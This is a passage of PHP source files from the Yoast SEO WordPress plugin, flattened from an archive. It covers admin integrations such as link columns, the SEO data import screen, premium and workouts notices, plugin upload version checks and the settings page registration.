( $indexable === false ) { return; } switch ( $column_name ) { case 'wpseo-' . self::COLUMN_LINKS: echo (int) $indexable->link_count; return; case 'wpseo-' . self::COLUMN_LINKED: if ( \get_post_status( $post_id ) === 'publish' ) { echo (int) $indexable->incoming_link_count; } } } /** * Sets the sortable columns. * * @param array $columns Array with sortable columns. * * @return array The extended array with sortable columns. */ public function column_sort( array $columns ) { $columns[ 'wpseo-' . self::COLUMN_LINKS ] = 'wpseo-' . self::COLUMN_LINKS; $columns[ 'wpseo-' . self::COLUMN_LINKED ] = 'wpseo-' . self::COLUMN_LINKED; return $columns; } } integrations/admin/menu-badge-integration.php000064400000001637152076254560015423 0ustar00asset_manager = $asset_manager; $this->importable_detector = $importable_detector; $this->importing_route = $importing_route; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { \add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_import_script' ] ); } /** * Enqueues the Import script. * * @return void */ public function enqueue_import_script() { \wp_enqueue_style( 'dashicons' ); $this->asset_manager->enqueue_script( 'import' ); $data = [ 'restApi' => [ 'root' => \esc_url_raw( \rest_url() ), 'cleanup_endpoints' => $this->get_cleanup_endpoints(), 'importing_endpoints' => $this->get_importing_endpoints(), 'nonce' => \wp_create_nonce( 'wp_rest' ), ], 'assets' => [ 'loading_msg_import' => \esc_html__( 'The import can take a long time depending on your site\'s size.', 'wordpress-seo' ), 'loading_msg_cleanup' => \esc_html__( 'The cleanup can take a long time depending on your site\'s size.', 'wordpress-seo' ), 'note' => \esc_html__( 'Note: ', 'wordpress-seo' ), 'cleanup_after_import_msg' => \esc_html__( 'After you\'ve imported data from another SEO plugin, please make sure to clean up all the original data from that plugin. (step 5)', 'wordpress-seo' ), 'select_placeholder' => \esc_html__( 'Select SEO plugin', 'wordpress-seo' ), 'no_data_msg' => \esc_html__( 'No data found from other SEO plugins.', 'wordpress-seo' ), 'validation_failure' => $this->get_validation_failure_alert(), 'import_failure' => $this->get_import_failure_alert( true ), 'cleanup_failure' => $this->get_import_failure_alert( false ), 'spinner' => \admin_url( 'images/loading.gif' ), 'replacing_texts' => [ 'cleanup_button' => \esc_html__( 'Clean up', 'wordpress-seo' ), 'import_explanation' => \esc_html__( 'Please select an SEO plugin below to see what data can be imported.', 'wordpress-seo' ), 'cleanup_explanation' => \esc_html__( 'Once you\'re certain that your site is working properly with the imported data from another SEO plugin, you can clean up all the original data from that plugin.', 'wordpress-seo' ), /* translators: %s: expands to the name of the plugin that is selected to be imported */ 'select_header' => \esc_html__( 'The import from %s includes:', 'wordpress-seo' ), 'plugins' => [ 'aioseo' => [ [ 'data_name' => \esc_html__( 'Post metadata (SEO titles, descriptions, etc.)', 'wordpress-seo' ), 'data_note' => \esc_html__( 'Note: This metadata will only be imported if there is no existing Yoast SEO metadata yet.', 'wordpress-seo' ), ], [ 'data_name' => \esc_html__( 'Default settings', 'wordpress-seo' ), 'data_note' => \esc_html__( 'Note: These settings will overwrite the default settings of Yoast SEO.', 'wordpress-seo' ), ], ], 'other' => [ [ 'data_name' => \esc_html__( 'Post metadata (SEO titles, descriptions, etc.)', 'wordpress-seo' ), 'data_note' => \esc_html__( 'Note: This metadata will only be imported if there is no existing Yoast SEO metadata yet.', 'wordpress-seo' ), ], ], ], ], ], ]; /** * Filter: 'wpseo_importing_data' Filter to adapt the data used in the import process. * * @param array $data The import data to adapt. */ $data = \apply_filters( 'wpseo_importing_data', $data ); $this->asset_manager->localize_script( 'import', 'yoastImportData', $data ); } /** * Retrieves a list of the importing endpoints to use. * * @return array The endpoints. */ protected function get_importing_endpoints() { $available_actions = $this->importable_detector->detect_importers(); $importing_endpoints = []; $available_sorted_actions = $this->sort_actions( $available_actions ); foreach ( $available_sorted_actions as $plugin => $types ) { foreach ( $types as $type ) { $importing_endpoints[ $plugin ][] = $this->importing_route->get_endpoint( $plugin, $type ); } } return $importing_endpoints; } /** * Sorts the array of importing actions, by moving any validating actions to the start for every plugin. * * @param array $available_actions The array of actions that we want to sort. * * @return array The sorted array of actions. */ protected function sort_actions( $available_actions ) { $first_action = 'validate_data'; $available_sorted_actions = []; foreach ( $available_actions as $plugin => $plugin_available_actions ) { $validate_action_position = \array_search( $first_action, $plugin_available_actions, true ); if ( ! empty( $validate_action_position ) ) { unset( $plugin_available_actions[ $validate_action_position ] ); \array_unshift( $plugin_available_actions, $first_action ); } $available_sorted_actions[ $plugin ] = $plugin_available_actions; } return $available_sorted_actions; } /** * Retrieves a list of the importing endpoints to use. * * @return array The endpoints. */ protected function get_cleanup_endpoints() { $available_actions = $this->importable_detector->detect_cleanups(); $importing_endpoints = []; foreach ( $available_actions as $plugin => $types ) { foreach ( $types as $type ) { $importing_endpoints[ $plugin ][] = $this->importing_route->get_endpoint( $plugin, $type ); } } return $importing_endpoints; } /** * Gets the validation failure alert using the Alert_Presenter. * * @return string The validation failure alert. */ protected function get_validation_failure_alert() { $content = \esc_html__( 'The AIOSEO import was cancelled because some AIOSEO data is missing. Please try and take the following steps to fix this:', 'wordpress-seo' ); $content .= '
'; $content .= '
  1. '; $content .= \esc_html__( 'If you have never saved any AIOSEO \'Search Appearance\' settings, please do that first and run the import again.', 'wordpress-seo' ); $content .= '
  2. '; $content .= '
  3. '; $content .= \esc_html__( 'If you already have saved AIOSEO \'Search Appearance\' settings and the issue persists, please contact our support team so we can take a closer look.', 'wordpress-seo' ); $content .= '
'; $validation_failure_alert = new Alert_Presenter( $content, 'error' ); return $validation_failure_alert->present(); } /** * Gets the import failure alert using the Alert_Presenter. * * @param bool $is_import Wether it's an import or not. * * @return string The import failure alert. */ protected function get_import_failure_alert( $is_import ) { $content = \esc_html__( 'Cleanup failed with the following error:', 'wordpress-seo' ); if ( $is_import ) { $content = \esc_html__( 'Import failed with the following error:', 'wordpress-seo' ); } $content .= '

'; $content .= \esc_html( '%s' ); $import_failure_alert = new Alert_Presenter( $content, 'error' ); return $import_failure_alert->present(); } } integrations/admin/deactivated-premium-integration.php000064400000010335152076254560017343 0ustar00options_helper = $options_helper; $this->admin_asset_manager = $admin_asset_manager; } /** * {@inheritDoc} */ public function register_hooks() { \add_action( 'admin_notices', [ $this, 'premium_deactivated_notice' ] ); \add_action( 'wp_ajax_dismiss_premium_deactivated_notice', [ $this, 'dismiss_premium_deactivated_notice' ] ); } /** * Shows a notice if premium is installed but not activated. * * @return void */ public function premium_deactivated_notice() { global $pagenow; if ( $pagenow === 'update.php' ) { return; } if ( $this->options_helper->get( 'dismiss_premium_deactivated_notice', false ) === true ) { return; } $premium_file = 'wordpress-seo-premium/wp-seo-premium.php'; if ( ! \current_user_can( 'activate_plugin', $premium_file ) ) { return; } if ( $this->premium_is_installed_not_activated( $premium_file ) ) { $this->admin_asset_manager->enqueue_style( 'monorepo' ); $content = \sprintf( /* translators: 1: Yoast SEO Premium 2: Link start tag to activate premium, 3: Link closing tag. */ \__( 'You\'ve installed %1$s but it\'s not activated yet. %2$sActivate %1$s now!%3$s', 'wordpress-seo' ), 'Yoast SEO Premium', '', '', ); // phpcs:disable WordPress.Security.EscapeOutput.OutputNotEscaped -- Output escaped above. echo new Notice_Presenter( /* translators: 1: Yoast SEO Premium */ \sprintf( \__( 'Activate %1$s!', 'wordpress-seo' ), 'Yoast SEO Premium' ), $content, 'support-team.svg', null, true, 'yoast-premium-deactivated-notice', ); // phpcs:enable // Enable permanently dismissing the notice. echo ""; } } /** * Dismisses the premium deactivated notice. * * @return bool */ public function dismiss_premium_deactivated_notice() { return $this->options_helper->set( 'dismiss_premium_deactivated_notice', true ); } /** * Returns whether or not premium is installed and not activated. * * @param string $premium_file The premium file. * * @return bool Whether or not premium is installed and not activated. */ protected function premium_is_installed_not_activated( $premium_file ) { return ( ! \defined( 'WPSEO_PREMIUM_FILE' ) && \file_exists( \WP_PLUGIN_DIR . '/' . $premium_file ) ); } } integrations/admin/workouts-integration.php000064400000026073152076254560015315 0ustar00addon_manager = $addon_manager; $this->admin_asset_manager = $admin_asset_manager; $this->options_helper = $options_helper; $this->product_helper = $product_helper; } /** * {@inheritDoc} */ public function register_hooks() { \add_filter( 'wpseo_submenu_pages', [ $this, 'add_submenu_page' ], 8 ); \add_filter( 'wpseo_submenu_pages', [ $this, 'remove_old_submenu_page' ], 10 ); \add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ], 11 ); } /** * Adds the workouts submenu page. * * @param array $submenu_pages The Yoast SEO submenu pages. * * @return array The filtered submenu pages. */ public function add_submenu_page( $submenu_pages ) { $submenu_pages[] = [ 'wpseo_dashboard', '', \__( 'Workouts', 'wordpress-seo' ) . ' ', 'edit_others_posts', 'wpseo_workouts', [ $this, 'render_target' ], ]; return $submenu_pages; } /** * Removes the workouts submenu page from older Premium versions * * @param array $submenu_pages The Yoast SEO submenu pages. * * @return array The filtered submenu pages. */ public function remove_old_submenu_page( $submenu_pages ) { if ( ! $this->should_update_premium() ) { return $submenu_pages; } // Copy only the Workouts page item that comes first in the array. $result_submenu_pages = []; $workouts_page_encountered = false; foreach ( $submenu_pages as $item ) { if ( $item[4] !== 'wpseo_workouts' || ! $workouts_page_encountered ) { $result_submenu_pages[] = $item; } if ( $item[4] === 'wpseo_workouts' ) { $workouts_page_encountered = true; } } return $result_submenu_pages; } /** * Enqueue the workouts app. * * @return void */ public function enqueue_assets() { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Date is not processed or saved. if ( ! isset( $_GET['page'] ) || $_GET['page'] !== 'wpseo_workouts' ) { return; } if ( $this->should_update_premium() ) { \wp_dequeue_script( 'yoast-seo-premium-workouts' ); } $this->admin_asset_manager->enqueue_style( 'workouts' ); $workouts_option = $this->get_workouts_option(); $ftc_url = \esc_url( \admin_url( 'admin.php?page=wpseo_dashboard#/first-time-configuration' ) ); $this->admin_asset_manager->enqueue_script( 'workouts' ); $this->admin_asset_manager->localize_script( 'workouts', 'wpseoWorkoutsData', [ 'workouts' => $workouts_option, 'homeUrl' => \home_url(), 'pluginUrl' => \esc_url( \plugins_url( '', \WPSEO_FILE ) ), 'toolsPageUrl' => \esc_url( \admin_url( 'admin.php?page=wpseo_tools' ) ), 'usersPageUrl' => \esc_url( \admin_url( 'users.php' ) ), 'firstTimeConfigurationUrl' => $ftc_url, 'isPremium' => $this->product_helper->is_premium(), 'upsellText' => $this->get_upsell_text(), 'upsellLink' => $this->get_upsell_link(), ], ); } /** * Renders the target for the React to mount to. * * @return void */ public function render_target() { if ( $this->should_update_premium() ) { // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output escaped in get_update_premium_notice. echo $this->get_update_premium_notice(); } echo '
'; } /** * Gets the workouts option. * * @return mixed|null Returns workouts option if found, null if not. */ private function get_workouts_option() { $workouts_option = $this->options_helper->get( 'workouts_data' ); // This filter is documented in src/routes/workouts-route.php. return \apply_filters( 'Yoast\WP\SEO\workouts_options', $workouts_option ); } /** * Returns the notification to show when Premium needs to be updated. * * @return string The notification to update Premium. */ private function get_update_premium_notice() { $url = $this->get_upsell_link(); if ( $this->has_premium_subscription_expired() ) { /* translators: %s: expands to 'Yoast SEO Premium'. */ $title = \sprintf( \__( 'Renew your subscription of %s', 'wordpress-seo' ), 'Yoast SEO Premium' ); $copy = \sprintf( /* translators: %s: expands to 'Yoast SEO Premium'. */ \esc_html__( 'Accessing the latest workouts requires an updated version of %s (at least 17.7), but it looks like your subscription has expired. Please renew your subscription to update and gain access to all the latest features.', 'wordpress-seo', ), 'Yoast SEO Premium', ); $button = '' . \esc_html__( 'Renew your subscription', 'wordpress-seo' ) /* translators: Hidden accessibility text. */ . '' . \__( '(Opens in a new browser tab)', 'wordpress-seo' ) . '' . '' . ''; } elseif ( $this->has_premium_subscription_activated() ) { /* translators: %s: expands to 'Yoast SEO Premium'. */ $title = \sprintf( \__( 'Update to the latest version of %s', 'wordpress-seo' ), 'Yoast SEO Premium' ); $copy = \sprintf( /* translators: 1: expands to 'Yoast SEO Premium', 2: Link start tag to the page to update Premium, 3: Link closing tag. */ \esc_html__( 'It looks like you\'re running an outdated version of %1$s, please %2$supdate to the latest version (at least 17.7)%3$s to gain access to our updated workouts section.', 'wordpress-seo' ), 'Yoast SEO Premium', '', '', ); $button = null; } else { /* translators: %s: expands to 'Yoast SEO Premium'. */ $title = \sprintf( \__( 'Activate your subscription of %s', 'wordpress-seo' ), 'Yoast SEO Premium' ); $url_button = 'https://yoa.st/workouts-activate-notice-help'; $copy = \sprintf( /* translators: 1: expands to 'Yoast SEO Premium', 2: Link start tag to the page to update Premium, 3: Link closing tag. */ \esc_html__( 'It looks like you’re running an outdated and unactivated version of %1$s, please activate your subscription in %2$sMyYoast%3$s and update to the latest version (at least 17.7) to gain access to our updated workouts section.', 'wordpress-seo' ), 'Yoast SEO Premium', '', '', ); $button = '' . \esc_html__( 'Get help activating your subscription', 'wordpress-seo' ) /* translators: Hidden accessibility text. */ . '' . \__( '(Opens in a new browser tab)', 'wordpress-seo' ) . '' . ''; } $notice = new Notice_Presenter( $title, $copy, null, $button, ); return $notice->present(); } /** * Check whether Premium should be updated. * * @return bool Returns true when Premium is enabled and the version is below 17.7. */ private function should_update_premium() { $premium_version = $this->product_helper->get_premium_version(); return $premium_version !== null && \version_compare( $premium_version, '17.7-RC1', '<' ); } /** * Check whether the Premium subscription has expired. * * @return bool Returns true when Premium subscription has expired. */ private function has_premium_subscription_expired() { $subscription = $this->addon_manager->get_subscription( WPSEO_Addon_Manager::PREMIUM_SLUG ); return ( isset( $subscription->expiry_date ) && ( \strtotime( $subscription->expiry_date ) - \time() ) < 0 ); } /** * Check whether the Premium subscription is activated. * * @return bool Returns true when Premium subscription is activated. */ private function has_premium_subscription_activated() { return $this->addon_manager->has_valid_subscription( WPSEO_Addon_Manager::PREMIUM_SLUG ); } /** * Returns the upsell/update copy to show in the card buttons. * * @return string Returns a string with the upsell/update copy for the card buttons. */ private function get_upsell_text() { if ( ! $this->product_helper->is_premium() || ! $this->should_update_premium() ) { // Use the default defined in the component. return ''; } if ( $this->has_premium_subscription_expired() ) { return \sprintf( /* translators: %s: expands to 'Yoast SEO Premium'. */ \__( 'Renew %s', 'wordpress-seo' ), 'Yoast SEO Premium', ); } if ( $this->has_premium_subscription_activated() ) { return \sprintf( /* translators: %s: expands to 'Yoast SEO Premium'. */ \__( 'Update %s', 'wordpress-seo' ), 'Yoast SEO Premium', ); } return \sprintf( /* translators: %s: expands to 'Yoast SEO Premium'. */ \__( 'Activate %s', 'wordpress-seo' ), 'Yoast SEO Premium', ); } /** * Returns the upsell/update link to show in the card buttons. * * @return string Returns a string with the upsell/update link for the card buttons. */ private function get_upsell_link() { if ( ! $this->product_helper->is_premium() || ! $this->should_update_premium() ) { // Use the default defined in the component. return ''; } if ( $this->has_premium_subscription_expired() ) { return 'https://yoa.st/workout-renew-notice'; } if ( $this->has_premium_subscription_activated() ) { return \wp_nonce_url( \self_admin_url( 'update.php?action=upgrade-plugin&plugin=wordpress-seo-premium/wp-seo-premium.php' ), 'upgrade-plugin_wordpress-seo-premium/wp-seo-premium.php' ); } return 'https://yoa.st/workouts-activate-notice-myyoast'; } } integrations/admin/migration-error-integration.php000064400000002543152076254560016534 0ustar00migration_status = $migration_status; } /** * {@inheritDoc} */ public function register_hooks() { if ( $this->migration_status->get_error( 'free' ) === false ) { return; } \add_action( 'admin_notices', [ $this, 'render_migration_error' ] ); } /** * Renders the migration error. * * @return void */ public function render_migration_error() { // phpcs:ignore WordPress.Security.EscapeOutput -- The Migration_Error_Presenter already escapes it's output. echo new Migration_Error_Presenter( $this->migration_status->get_error( 'free' ) ); } } integrations/admin/old-configuration-integration.php000064400000003230152076254560017031 0ustar00wp_content_dir(), \trailingslashit( \WP_CONTENT_DIR ), $source ); if ( ! \is_dir( $working_directory ) ) { // Confidence check, if the above fails, let's not prevent installation. return $source; } // Check that the folder contains at least 1 valid plugin. $files = \glob( $working_directory . '*.php' ); if ( $files ) { foreach ( $files as $file ) { $info = \get_plugin_data( $file, false, false ); if ( ! empty( $info['Name'] ) ) { break; } } } $requires_yoast_seo = ! empty( $info['Requires Yoast SEO'] ) ? $info['Requires Yoast SEO'] : false; if ( ! $this->check_requirement( $requires_yoast_seo ) ) { $error = \sprintf( /* translators: 1: Current Yoast SEO version, 2: Version required by the uploaded plugin. */ \__( 'The Yoast SEO version on your site is %1$s, however the uploaded plugin requires %2$s.', 'wordpress-seo' ), \WPSEO_VERSION, \esc_html( $requires_yoast_seo ), ); return new WP_Error( 'incompatible_yoast_seo_required_version', \__( 'The package could not be installed because it\'s not supported by the currently installed Yoast SEO version.', 'wordpress-seo' ), $error, ); } return $source; } /** * Update the comparison table for the plugin installation when overwriting an existing plugin. * * @param string $table The output table with Name, Version, Author, RequiresWP, and RequiresPHP info. * @param array $current_plugin_data Array with current plugin data. * @param array $new_plugin_data Array with uploaded plugin data. * * @return string The updated comparison table. */ public function update_comparison_table( $table, $current_plugin_data, $new_plugin_data ) { $requires_yoast_seo_current = ! empty( $current_plugin_data['Requires Yoast SEO'] ) ? $current_plugin_data['Requires Yoast SEO'] : false; $requires_yoast_seo_new = ! empty( $new_plugin_data['Requires Yoast SEO'] ) ? $new_plugin_data['Requires Yoast SEO'] : false; if ( $requires_yoast_seo_current !== false || $requires_yoast_seo_new !== false ) { $new_row = \sprintf( '%1$s%2$s%3$s', \__( 'Required Yoast SEO version', 'wordpress-seo' ), ( $requires_yoast_seo_current !== false ) ? \esc_html( $requires_yoast_seo_current ) : '-', ( $requires_yoast_seo_new !== false ) ? \esc_html( $requires_yoast_seo_new ) : '-', ); $table = \str_replace( '', $new_row . '', $table ); } return $table; } /** * Check whether the required Yoast SEO version is installed. * * @param string|bool $required_version The required version. * * @return bool Whether the required version is installed, or no version is required. */ private function check_requirement( $required_version ) { if ( $required_version === false ) { return true; } return \version_compare( \WPSEO_VERSION, $required_version . '-RC0', '>=' ); } } integrations/integration-interface.php000064400000000652152076254610014257 0ustar00context_memoizer = $context_memoizer; $this->presenter = new Breadcrumbs_Presenter(); $this->presenter->helpers = $helpers; $this->presenter->replace_vars = $replace_vars; } /** * Returns the conditionals based in which this loadable should be active. * * @return array The array of conditionals. */ public static function get_conditionals() { return []; } /** * Registers the `wpseo_breadcrumb` shortcode. * * @codeCoverageIgnore * * @return void */ public function register_hooks() { \add_shortcode( 'wpseo_breadcrumb', [ $this, 'render' ] ); } /** * Renders the breadcrumbs. * * @return string The rendered breadcrumbs. */ public function render() { $context = $this->context_memoizer->for_current_page(); /** This filter is documented in src/integrations/front-end-integration.php */ $presentation = \apply_filters( 'wpseo_frontend_presentation', $context->presentation, $context ); $this->presenter->presentation = $presentation; return $this->presenter->present(); } } integrations/estimated-reading-time.php000064400000002127152076254620014320 0ustar00 'hidden', 'title' => 'estimated-reading-time-minutes', ]; } return $field_defs; } } integrations/settings-integration.php000064400000110454152076254620014162 0ustar00 [ 'myyoast-oauth', 'semrush_tokens', 'custom_taxonomy_slugs', 'import_cursors', 'workouts_data', 'configuration_finished_steps', 'importing_completed', 'wincher_tokens', 'least_readability_ignore_list', 'least_seo_score_ignore_list', 'most_linked_ignore_list', 'least_linked_ignore_list', 'indexables_page_reading_list', 'show_new_content_type_notification', 'new_post_types', 'new_taxonomies', ], 'wpseo_titles' => [ 'company_logo_meta', 'person_logo_meta', ], ]; /** * Holds the disabled on multisite settings, per option group. * * @var array */ public const DISABLED_ON_MULTISITE_SETTINGS = [ 'wpseo' => [ 'deny_search_crawling', 'deny_wp_json_crawling', 'deny_adsbot_crawling', 'deny_ccbot_crawling', 'deny_google_extended_crawling', 'deny_gptbot_crawling', 'enable_llms_txt', ], ]; /** * Holds the WPSEO_Admin_Asset_Manager. * * @var WPSEO_Admin_Asset_Manager */ protected $asset_manager; /** * Holds the WPSEO_Replace_Vars. * * @var WPSEO_Replace_Vars */ protected $replace_vars; /** * Holds the Schema_Types. * * @var Schema_Types */ protected $schema_types; /** * Holds the Current_Page_Helper. * * @var Current_Page_Helper */ protected $current_page_helper; /** * Holds the Post_Type_Helper. * * @var Post_Type_Helper */ protected $post_type_helper; /** * Holds the Language_Helper. * * @var Language_Helper */ protected $language_helper; /** * Holds the Taxonomy_Helper. * * @var Taxonomy_Helper */ protected $taxonomy_helper; /** * Holds the Product_Helper. * * @var Product_Helper */ protected $product_helper; /** * Holds the Woocommerce_Helper. * * @var Woocommerce_Helper */ protected $woocommerce_helper; /** * Holds the Article_Helper. * * @var Article_Helper */ protected $article_helper; /** * Holds the User_Helper. * * @var User_Helper */ protected $user_helper; /** * Holds the Options_Helper instance. * * @var Options_Helper */ protected $options; /** * Holds the Content_Type_Visibility_Dismiss_Notifications instance. * * @var Content_Type_Visibility_Dismiss_Notifications */ protected $content_type_visibility; /** * Holds the Llms_Txt_Configuration instance. * * @var Llms_Txt_Configuration */ protected $llms_txt_configuration; /** * Holds the Schema_Configuration instance. * * @var Schema_Configuration */ protected $schema_configuration; /** * The manual post collection. * * @var Manual_Post_Collection */ private $manual_post_collection; /** * Runs the health check. * * @var File_Runner */ private $runner; /** * Holds the Route_Helper. * * @var Route_Helper */ private $route_helper; /** * Constructs Settings_Integration. * * @param WPSEO_Admin_Asset_Manager $asset_manager The WPSEO_Admin_Asset_Manager. * @param WPSEO_Replace_Vars $replace_vars The WPSEO_Replace_Vars. * @param Schema_Types $schema_types The Schema_Types. * @param Current_Page_Helper $current_page_helper The Current_Page_Helper. * @param Post_Type_Helper $post_type_helper The Post_Type_Helper. * @param Language_Helper $language_helper The Language_Helper. * @param Taxonomy_Helper $taxonomy_helper The Taxonomy_Helper. * @param Product_Helper $product_helper The Product_Helper. * @param Woocommerce_Helper $woocommerce_helper The Woocommerce_Helper. * @param Article_Helper $article_helper The Article_Helper. * @param User_Helper $user_helper The User_Helper. * @param Options_Helper $options The options helper. * @param Content_Type_Visibility_Dismiss_Notifications $content_type_visibility The Content_Type_Visibility_Dismiss_Notifications instance. * @param Llms_Txt_Configuration $llms_txt_configuration The Llms_Txt_Configuration instance. * @param Manual_Post_Collection $manual_post_collection The manual post collection. * @param File_Runner $runner The file runner. * @param Route_Helper $route_helper The Route_Helper. * @param Schema_Configuration $schema_configuration The Schema_Configuration. */ public function __construct( WPSEO_Admin_Asset_Manager $asset_manager, WPSEO_Replace_Vars $replace_vars, Schema_Types $schema_types, Current_Page_Helper $current_page_helper, Post_Type_Helper $post_type_helper, Language_Helper $language_helper, Taxonomy_Helper $taxonomy_helper, Product_Helper $product_helper, Woocommerce_Helper $woocommerce_helper, Article_Helper $article_helper, User_Helper $user_helper, Options_Helper $options, Content_Type_Visibility_Dismiss_Notifications $content_type_visibility, Llms_Txt_Configuration $llms_txt_configuration, Manual_Post_Collection $manual_post_collection, File_Runner $runner, Route_Helper $route_helper, Schema_Configuration $schema_configuration ) { $this->asset_manager = $asset_manager; $this->replace_vars = $replace_vars; $this->schema_types = $schema_types; $this->current_page_helper = $current_page_helper; $this->taxonomy_helper = $taxonomy_helper; $this->post_type_helper = $post_type_helper; $this->language_helper = $language_helper; $this->product_helper = $product_helper; $this->woocommerce_helper = $woocommerce_helper; $this->article_helper = $article_helper; $this->user_helper = $user_helper; $this->options = $options; $this->content_type_visibility = $content_type_visibility; $this->llms_txt_configuration = $llms_txt_configuration; $this->manual_post_collection = $manual_post_collection; $this->runner = $runner; $this->route_helper = $route_helper; $this->schema_configuration = $schema_configuration; } /** * Returns the conditionals based on which this loadable should be active. * * @return array */ public static function get_conditionals() { return [ Settings_Conditional::class ]; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { // Add page. \add_filter( 'wpseo_submenu_pages', [ $this, 'add_page' ] ); \add_filter( 'admin_menu', [ $this, 'add_settings_saved_page' ] ); // Are we saving the settings? if ( $this->current_page_helper->get_current_admin_page() === 'options.php' ) { $post_action = ''; // phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: We are not processing form information. if ( isset( $_POST['action'] ) && \is_string( $_POST['action'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information. $post_action = \wp_unslash( $_POST['action'] ); } $option_page = ''; // phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: We are not processing form information. if ( isset( $_POST['option_page'] ) && \is_string( $_POST['option_page'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information. $option_page = \wp_unslash( $_POST['option_page'] ); } if ( $post_action === 'update' && $option_page === self::PAGE ) { \add_action( 'admin_init', [ $this, 'register_setting' ] ); \add_action( 'in_admin_header', [ $this, 'remove_notices' ], \PHP_INT_MAX ); } return; } // Are we on the settings page? if ( $this->current_page_helper->get_current_yoast_seo_page() === self::PAGE ) { \add_action( 'admin_init', [ $this, 'register_setting' ] ); \add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] ); \add_action( 'in_admin_header', [ $this, 'remove_notices' ], \PHP_INT_MAX ); } } /** * Registers the different options under the setting. * * @return void */ public function register_setting() { foreach ( WPSEO_Options::$options as $name => $instance ) { if ( \in_array( $name, self::ALLOWED_OPTION_GROUPS, true ) ) { \register_setting( self::PAGE, $name ); } } // Only register WP options when the user is allowed to manage them. if ( \current_user_can( 'manage_options' ) ) { foreach ( self::WP_OPTIONS as $name ) { \register_setting( self::PAGE, $name ); } } } /** * Adds the page. * * @param array $pages The pages. * * @return array The pages. */ public function add_page( $pages ) { \array_splice( $pages, 1, 0, [ [ 'wpseo_dashboard', '', \__( 'Settings', 'wordpress-seo' ), 'wpseo_manage_options', self::PAGE, [ $this, 'display_page' ], ], ], ); return $pages; } /** * Adds a dummy page. * * Because the options route NEEDS to redirect to something. * * @param array $pages The pages. * * @return array The pages. */ public function add_settings_saved_page( $pages ) { $runner = $this->runner; \add_submenu_page( '', '', '', 'wpseo_manage_options', self::PAGE . '_saved', static function () use ( $runner ) { // Add success indication to HTML response. $success = empty( \get_settings_errors() ) ? 'true' : 'false'; echo \esc_html( "{{ yoast-success: $success }}" ); $runner->run(); if ( ! $runner->is_successful() ) { $failure_reason = $runner->get_generation_failure_reason(); echo \esc_html( "{{ yoast-llms-txt-generation-failure: $failure_reason }}" ); } }, ); return $pages; } /** * Displays the page. * * @return void */ public function display_page() { echo '
'; } /** * Enqueues the assets. * * @return void */ public function enqueue_assets() { // Remove the emoji script as it is incompatible with both React and any contenteditable fields. \remove_action( 'admin_print_scripts', 'print_emoji_detection_script' ); \wp_enqueue_media(); $this->asset_manager->enqueue_script( 'new-settings' ); $this->asset_manager->enqueue_style( 'new-settings' ); if ( \YoastSEO()->classes->get( Promotion_Manager::class )->is( 'black-friday-promotion' ) ) { $this->asset_manager->enqueue_style( 'black-friday-banner' ); } $this->asset_manager->localize_script( 'new-settings', 'wpseoScriptData', $this->get_script_data() ); } /** * Removes all current WP notices. * * @return void */ public function remove_notices() { \remove_all_actions( 'admin_notices' ); \remove_all_actions( 'user_admin_notices' ); \remove_all_actions( 'network_admin_notices' ); \remove_all_actions( 'all_admin_notices' ); } /** * Creates the script data. * * @return array The script data. */ protected function get_script_data() { $default_setting_values = $this->get_default_setting_values(); $settings = $this->get_settings( $default_setting_values ); $post_types = $this->post_type_helper->get_indexable_post_type_objects(); $taxonomies = $this->taxonomy_helper->get_indexable_taxonomy_objects(); // Check if attachments are included in indexation. if ( ! \array_key_exists( 'attachment', $post_types ) ) { // Always include attachments in the settings, to let the user enable them again. $attachment_object = \get_post_type_object( 'attachment' ); if ( ! empty( $attachment_object ) ) { $post_types['attachment'] = $attachment_object; } } // Check if post formats are included in indexation. if ( ! \array_key_exists( 'post_format', $taxonomies ) ) { // Always include post_format in the settings, to let the user enable them again. $post_format_object = \get_taxonomy( 'post_format' ); if ( ! empty( $post_format_object ) ) { $taxonomies['post_format'] = $post_format_object; } } $transformed_post_types = $this->transform_post_types( $post_types ); $transformed_taxonomies = $this->transform_taxonomies( $taxonomies, \array_keys( $transformed_post_types ) ); // Check if there is a new content type to show notification only once in the settings. $show_new_content_type_notification = $this->content_type_visibility->maybe_add_settings_notification(); return [ 'settings' => $this->transform_settings( $settings ), 'defaultSettingValues' => $default_setting_values, 'disabledSettings' => $this->get_disabled_settings( $settings ), 'endpoint' => \admin_url( 'options.php' ), 'nonce' => \wp_create_nonce( self::PAGE . '-options' ), 'separators' => WPSEO_Option_Titles::get_instance()->get_separator_options_for_display(), 'replacementVariables' => $this->get_replacement_variables(), 'schema' => $this->get_schema( $transformed_post_types ), 'preferences' => $this->get_preferences( $settings ), 'linkParams' => WPSEO_Shortlinker::get_query_params(), 'postTypes' => $transformed_post_types, 'taxonomies' => $transformed_taxonomies, 'fallbacks' => $this->get_fallbacks(), 'showNewContentTypeNotification' => $show_new_content_type_notification, 'currentPromotions' => \YoastSEO()->classes->get( Promotion_Manager::class )->get_current_promotions(), 'llmsTxt' => $this->llms_txt_configuration->get_configuration(), 'initialLlmTxtPages' => $this->get_site_llms_txt_pages( $settings ), 'schemaFrameworkConfiguration' => $this->schema_configuration->get_configuration(), ]; } /** * Retrieves the preferences. * * @param array $settings The settings. * * @return array The preferences. */ protected function get_preferences( $settings ) { $shop_page_id = $this->woocommerce_helper->get_shop_page_id(); $homepage_is_latest_posts = \get_option( 'show_on_front' ) === 'posts'; $page_on_front = \get_option( 'page_on_front' ); $page_for_posts = \get_option( 'page_for_posts' ); $addon_manager = new WPSEO_Addon_Manager(); $woocommerce_seo_active = \is_plugin_active( $addon_manager->get_plugin_file( WPSEO_Addon_Manager::WOOCOMMERCE_SLUG ) ); if ( empty( $page_on_front ) ) { $page_on_front = $page_for_posts; } $business_settings_url = \get_admin_url( null, 